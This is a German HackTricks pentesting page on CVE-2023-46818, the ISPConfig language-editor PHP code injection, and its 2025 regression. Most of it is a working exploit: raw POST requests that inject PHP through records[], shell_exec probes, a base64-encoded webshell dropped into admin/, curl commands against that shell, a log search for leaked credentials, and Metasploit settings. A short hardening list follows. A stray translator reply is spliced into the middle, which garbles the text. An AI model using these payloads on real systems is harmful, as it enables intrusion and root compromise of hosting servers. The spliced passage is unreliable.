ISPConfig
Tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Übersicht
ISPConfig ist ein Open-Source-Hosting-Control-Panel. Ältere 3.2.x-Versionen enthielten einen Language-File-Editor, der, wenn er für den Super-Administrator aktiviert war, über einen fehlerhaften Übersetzungseintrag beliebige PHP-Code-Injektion ermöglichte. Dies kann zu RCE im Webserver-Kontext führen und — je nachdem, wie PHP ausgeführt wird — zu einer Privilegienerhöhung.
Wichtige Standardpfade:
- Das Webroot liegt häufig unter
/var/www/ispconfig, wenn es mitphp -Soder über Apache/nginx ausgeliefert wird. - Die Admin-UI ist über den HTTP(S) vhost erreichbar (manchmal nur an localhost gebunden; bei Bedarf per SSH-Port-Forward weiterleiten).
Tipp: Wenn das Panel lokal gebunden ist (z. B. 127.0.0.1:8080), dann per Port-Forward weiterleiten:
ssh -L 9001:127.0.0.1:8080 user@target
# then browse http://127.0.0.1:9001
Spracheditor PHP-Code-Injection (CVE-2023-46818)
- Betroffen: ISPConfig bis 3.2.11 (behoben in 3.2.11p1)
- Voraussetzungen:
- Als integriertes Superadmin-Konto
admineinloggen (laut Hersteller sind andere Rollen nicht betroffen) - Der Spracheditor muss aktiviert sein:
admin_allow_langedit=yesin/usr/local/ispconfig/security/security_settings.ini - Auswirkung: Ein authentifizierter Admin kann beliebigen PHP-Code injizieren, der in eine Sprachdatei geschrieben und von der Anwendung ausgeführt wird, wodurch RCE im Web-Kontext erreicht wird
References: NVD entry CVE-2023-46818 und der Vendor-Advisory-Link im Abschnitt References weiter unten.
Manueller Exploit-Ablauf
- Öffne/erstelle eine Sprachdatei, um CSRF-Token zu erhalten
Sende einen ersten POST, um das Formular zu initialisieren, und lese die CSRF-Felder aus der HTML-Antwort (csrf_id, csrf_key). Beispiel-Request-Pfad: /admin/language_edit.php.
- PHP über records[] injizieren und speichern
Sende einen zweiten POST, der die CSRF-Felder und einen bösartigen Übersetzungs-Eintrag enthält. Minimale Probes zur Befehlsausführung:
POST /admin/language_edit.php HTTP/1.1
Host: 127.0.0.1:9001
Content-Type: application/x-www-form-urlencoded
Cookie: ispconfig_auth=...
lang=en&module=admin&file=messages&csrf_id=<id>&csrf_key=<key>&records[]=<?php echo shell_exec('id'); ?>
Out-of-band-Test (ICMP beobachten):
records[]=<?php echo shell_exec('ping -c 1 10.10.14.6'); ?>
- Dateien schreiben und eine webshell ablegen
Verwende file_put_contents, um eine Datei unter einem vom Web erreichbaren Pfad (z. B. admin/) anzulegen:
records[]=<?php file_put_contents('admin/pwn.txt','owned'); ?>
Schreibe dann eine einfache webshell, die base64 verwendet, um problematische Zeichen im POST-Body zu vermeiden:
records[]=<?php file_put_contents('admin/shell.php', base64_decode('PD9waHAgc3lzdGVtKCRfUkVRVUVTVFsiY21kIl0pIDsgPz4K')); ?>
Ich kann das übersetzen — bitte füge den Inhalt der Datei src/network-services-pentesting/pentesting-web/ispconfig.md hier ein.
Hinweis: Ich lasse dabei unverändert alle Tags, Links, Pfade und Codeblöcke (gemäß deinen Vorgaben).
curl 'http://127.0.0.1:9001/admin/shell.php?cmd=id'
Wenn PHP als root ausgeführt wird (z. B. via php -S 127.0.0.1:8080 gestartet von root), führt dies zu sofortiger root RCE. Andernfalls erhältst du code execution als Webserver-Benutzer.
Regression 2025 (ISPConfig 3.3.0 / 3.3.0p1)
Der Language-Editor-Fehler trat in 3.3.0/3.3.0p1 wieder auf und wurde in 3.3.0p2 behoben. Die Voraussetzungen sind unverändert (admin_allow_langedit und Admin-Login). Der gleiche Patch behebt zudem einen monitor XSS und world-readable rotierte Logs.
Hinweise:
- Unter 3.3.0/3.3.0p1 können world-readable rotierte Logs unter
/usr/local/ispconfig/interface/log/may leak credentials, wenn Debug-Logging aktiviert war:
find /usr/local/ispconfig/interface/log -type f -perm -004 -name '*.gz' -exec zcat {} + | head
- Exploit-Schritte stimmen mit CVE-2023-46818 überein; 3.3.0p2 fügt zusätzliche Prüfungen vor dem Bearbeiten der Sprache hinzu.
Python PoC
Ein einsatzbereiter Exploit automatisiert Token-Handling und Payload-Delivery:
Beispielausführung:
python3 cve-2023-46818.py http://127.0.0.1:9001 admin <password>
Metasploit module (veröffentlicht Juli 2025)
Rapid7 hat exploit/linux/http/ispconfig_lang_edit_php_code_injection hinzugefügt, das admin_allow_langedit automatisch aktivieren kann, wenn das angegebene Admin-Konto über system-config rights verfügt.
use exploit/linux/http/ispconfig_lang_edit_php_code_injection
set RHOSTS 10.10.10.50
set RPORT 8080
set USERNAME admin
set PASSWORD <admin_pass>
set TARGETURI /
run
Das Modul schreibt eine base64-encoded payload durch records[] und führt sie aus, wodurch ein PHP Meterpreter oder custom payload ausgeführt wird.
Härtung
- Aktualisieren Sie auf 3.2.11p1 oder neuer für das ursprüngliche Problem und auf 3.3.0p2 oder neuer für die Regression von 2025.
- Deaktivieren Sie den language editor, sofern nicht unbedingt erforderlich:
admin_allow_langedit=no
- Vermeide, das Panel als root auszuführen; konfiguriere PHP-FPM oder den Webserver so, dass Privilegien herabgestuft werden
- Erzwinge starke Authentifizierung für das integrierte
admin-Konto
Referenzen
- ISPConfig 3.2.11p1 Released (fixes language editor code injection)
- CVE-2023-46818 – NVD
- bipbopbup/CVE-2023-46818-python-exploit
- HTB Nocturnal: Root via ISPConfig language editor RCE
- ISPConfig 3.3.0p2 Released – Security Update
- CXSecurity WLB-2025070017 – Metasploit module for ISPConfig language_edit.php
Tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.


